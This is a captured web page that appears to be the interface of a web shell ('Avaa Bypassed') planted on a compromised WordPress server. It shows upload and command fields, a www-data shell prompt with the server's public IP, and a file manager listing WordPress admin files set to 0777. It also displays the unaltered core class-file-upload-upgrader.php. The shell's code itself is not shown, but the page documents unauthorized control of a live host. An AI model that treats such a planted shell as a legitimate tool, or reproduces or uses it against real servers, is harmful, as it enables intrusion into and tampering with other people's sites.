[ Avaa Bypassed ]




Upload:

Command:

www-data@18.218.245.163: ~ $
<?php
/**
 * Upgrade API: File_Upload_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling file uploads.
 *
 * This class handles the upload process and passes it as if it's a local file
 * to the Upgrade/Installer functions.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
#[AllowDynamicProperties]
class File_Upload_Upgrader {

	/**
	 * The full path to the file package.
	 *
	 * @since 2.8.0
	 * @var string $package
	 */
	public $package;

	/**
	 * The name of the file.
	 *
	 * @since 2.8.0
	 * @var string $filename
	 */
	public $filename;

	/**
	 * The ID of the attachment post for this file.
	 *
	 * @since 3.3.0
	 * @var int $id
	 */
	public $id = 0;

	/**
	 * Construct the upgrader for a form.
	 *
	 * @since 2.8.0
	 *
	 * @param string $form      The name of the form the file was uploaded from.
	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
	 */
	public function __construct( $form, $urlholder ) {

		if ( empty( $_FILES[ $form ]['name'] ) && empty( $_GET[ $urlholder ] ) ) {
			wp_die( __( 'Please select a file' ) );
		}

		// Handle a newly uploaded file. Else, assume it's already been uploaded.
		if ( ! empty( $_FILES ) ) {
			$overrides = array(
				'test_form' => false,
				'test_type' => false,
			);
			$file      = wp_handle_upload( $_FILES[ $form ], $overrides );

			if ( isset( $file['error'] ) ) {
				wp_die( $file['error'] );
			}

			$this->filename = $_FILES[ $form ]['name'];
			$this->package  = $file['file'];

			// Construct the attachment array.
			$attachment = array(
				'post_title'     => $this->filename,
				'post_content'   => $file['url'],
				'post_mime_type' => $file['type'],
				'guid'           => $file['url'],
				'context'        => 'upgrader',
				'post_status'    => 'private',
			);

			// Save the data.
			$this->id = wp_insert_attachment( $attachment, $file['file'] );

			// Schedule a cleanup for 2 hours from now in case of failed installation.
			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );

		} elseif ( is_numeric( $_GET[ $urlholder ] ) ) {
			// Numeric Package = previously uploaded file, see above.
			$this->id   = (int) $_GET[ $urlholder ];
			$attachment = get_post( $this->id );
			if ( empty( $attachment ) ) {
				wp_die( __( 'Please select a file' ) );
			}

			$this->filename = $attachment->post_title;
			$this->package  = get_attached_file( $attachment->ID );
		} else {
			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
			$uploads = wp_upload_dir();
			if ( ! ( $uploads && false === $uploads['error'] ) ) {
				wp_die( $uploads['error'] );
			}

			$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
			$this->package  = $uploads['basedir'] . '/' . $this->filename;

			if ( 0 !== strpos( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
				wp_die( __( 'Please select a file' ) );
			}
		}
	}

	/**
	 * Delete the attachment/uploaded file.
	 *
	 * @since 3.2.2
	 *
	 * @return bool Whether the cleanup was successful.
	 */
	public function cleanup() {
		if ( $this->id ) {
			wp_delete_attachment( $this->id );

		} elseif ( file_exists( $this->package ) ) {
			return @unlink( $this->package );
		}

		return true;
	}
}

Filemanager

Name Type Size Permission Actions
admin-filters.php File 7.58 KB 0777
admin.php File 3.54 KB 0777
ajax-actions.php File 146.78 KB 0777
bookmark.php File 11.4 KB 0777
class-automatic-upgrader-skin.php File 3.58 KB 0777
class-bulk-plugin-upgrader-skin.php File 2.2 KB 0777
class-bulk-theme-upgrader-skin.php File 2.27 KB 0777
class-bulk-upgrader-skin.php File 5.44 KB 0777
class-core-upgrader.php File 14.65 KB 0777
class-custom-background.php File 20.69 KB 0777
class-custom-image-header.php File 47.21 KB 0777
class-file-upload-upgrader.php File 3.34 KB 0777
class-ftp-pure.php File 5.3 KB 0777
class-ftp-sockets.php File 8.28 KB 0777
class-ftp.php File 26.67 KB 0777
class-language-pack-upgrader-skin.php File 2.42 KB 0777
class-language-pack-upgrader.php File 14.58 KB 0777
class-pclzip.php File 192.11 KB 0777
class-plugin-installer-skin.php File 11.6 KB 0777
class-plugin-upgrader-skin.php File 3.2 KB 0777
class-plugin-upgrader.php File 21.14 KB 0777
class-theme-installer-skin.php File 12.26 KB 0777
class-theme-upgrader-skin.php File 4.07 KB 0777
class-theme-upgrader.php File 24.53 KB 0777
class-walker-category-checklist.php File 4.76 KB 0777
class-walker-nav-menu-checklist.php File 5.5 KB 0777
class-walker-nav-menu-edit.php File 12.95 KB 0777
class-wp-ajax-upgrader-skin.php File 4.1 KB 0777
class-wp-application-passwords-list-table.php File 6.73 KB 0777
class-wp-automatic-updater.php File 51.66 KB 0777
class-wp-comments-list-table.php File 30.3 KB 0777
class-wp-community-events.php File 18.33 KB 0777
class-wp-debug-data.php File 58.93 KB 0777
class-wp-filesystem-base.php File 22.86 KB 0777
class-wp-filesystem-direct.php File 16.8 KB 0777
class-wp-filesystem-ftpext.php File 20.06 KB 0777
class-wp-filesystem-ftpsockets.php File 16.82 KB 0777
class-wp-filesystem-ssh2.php File 21.8 KB 0777
class-wp-importer.php File 7.27 KB 0777
class-wp-internal-pointers.php File 4.47 KB 0777
class-wp-links-list-table.php File 8.26 KB 0777
class-wp-list-table-compat.php File 1.46 KB 0777
class-wp-list-table.php File 43.43 KB 0777
class-wp-media-list-table.php File 25.74 KB 0777
class-wp-ms-sites-list-table.php File 20.32 KB 0777
class-wp-ms-themes-list-table.php File 27.12 KB 0777
class-wp-ms-users-list-table.php File 14.43 KB 0777
class-wp-plugin-install-list-table.php File 23.69 KB 0777
class-wp-plugins-list-table.php File 48.4 KB 0777
class-wp-post-comments-list-table.php File 1.42 KB 0777
class-wp-posts-list-table.php File 60.52 KB 0777
class-wp-privacy-data-export-requests-list-table.php File 5.43 KB 0777
class-wp-privacy-data-removal-requests-list-table.php File 5.56 KB 0777
class-wp-privacy-policy-content.php File 31.59 KB 0777
class-wp-privacy-requests-table.php File 13.31 KB 0777
class-wp-screen.php File 36.36 KB 0777
class-wp-site-health-auto-updates.php File 13.2 KB 0777
class-wp-site-health.php File 111.65 KB 0777
class-wp-site-icon.php File 6.14 KB 0777
class-wp-terms-list-table.php File 19.14 KB 0777
class-wp-theme-install-list-table.php File 15.31 KB 0777
class-wp-themes-list-table.php File 9.99 KB 0777
class-wp-upgrader-skin.php File 6.34 KB 0777
class-wp-upgrader-skins.php File 1.44 KB 0777
class-wp-upgrader.php File 36.59 KB 0777
class-wp-users-list-table.php File 18.42 KB 0777
comment.php File 5.98 KB 0777
continents-cities.php File 20.06 KB 0777
credits.php File 5.8 KB 0777
dashboard.php File 67.52 KB 0777
deprecated.php File 40.74 KB 0777
edit-tag-messages.php File 1.44 KB 0777
export.php File 23.57 KB 0777
file.php File 91.72 KB 0777
image-edit.php File 38.23 KB 0777
image.php File 37.91 KB 0777
import.php File 6.52 KB 0777
list-table.php File 3.71 KB 0777
media.php File 115.15 KB 0777
menu.php File 9.44 KB 0777
meta-boxes.php File 64.38 KB 0777
misc.php File 44.74 KB 0777
ms-admin-filters.php File 1.27 KB 0777
ms-deprecated.php File 3.68 KB 0777
ms.php File 32.79 KB 0777
nav-menu.php File 46 KB 0777
network.php File 26.04 KB 0777
noop.php File 1.06 KB 0777
options.php File 4.05 KB 0777
plugin-install.php File 34.08 KB 0777
plugin.php File 87.7 KB 0777
post.php File 75.73 KB 0777
privacy-tools.php File 32.67 KB 0777
revision.php File 15.75 KB 0777
schema.php File 41.77 KB 0777
screen.php File 6.21 KB 0777
taxonomy.php File 8.22 KB 0777
template.php File 95.11 KB 0777
theme-install.php File 6.82 KB 0777
theme.php File 45.68 KB 0777
translation-install.php File 8.69 KB 0777
update-core.php File 69.14 KB 0777
update.php File 34.62 KB 0777
upgrade.php File 108.25 KB 0777
user.php File 20.51 KB 0777
widgets.php File 10.59 KB 0777